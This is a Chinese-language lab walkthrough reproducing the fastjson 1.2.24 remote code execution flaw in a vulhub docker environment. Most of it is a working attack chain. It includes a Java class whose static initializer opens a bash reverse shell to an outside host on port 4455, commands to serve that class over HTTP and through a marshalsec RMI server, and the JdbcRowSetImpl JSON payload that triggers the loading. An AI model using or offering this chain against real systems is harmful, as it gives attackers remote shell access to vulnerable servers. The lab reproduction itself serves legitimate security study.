fastjson远程命令执行漏洞复现
使用vulhub提供的docker环境:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
在192.168.199.225目标机器上运行测试环境:
docker-compose up -d
访问目标机器,正常访问。
编写Exploit:
1 // javac TouchFile.java 2 import java.lang.Runtime; 3 import java.lang.Process; 4 5 public class TouchFile { 6 static { 7 try { 8 Runtime rt = Runtime.getRuntime(); 9 String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xxx.xxx.xx/4455 0>&1"}; 10 Process pc = rt.exec(commands); 11 pc.waitFor(); 12 } catch (Exception e) { 13 // do nothing 14 } 15 } 16 }
编译成TouchFile.class,并放置在使用python开启的http服务下(我们的攻击机192.168.199.137):
python2 -m SimpleHTTPServer 3333
在攻击机192.168.199.137上使用marshalsec开启RMI服务:https://github.com/mbechler/marshalsec
从github上下载下来后,使用maven编译:
mvn clean package -DskipTests
然后
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.137:3333/#TouchFile" 9999
此时就会监听9999端口的RMI服务:
在公网vps上监听4455端口:
此时构造POC,向目标机192.168.199.225发出请求:
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.199.137:9999/TouchFile", "autoCommit":true } }
你会发现响应包一直在等待中,然而这是正常的
在公网vps上成功得到交互式bash!
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class
https://www.freebuf.com/column/189835.html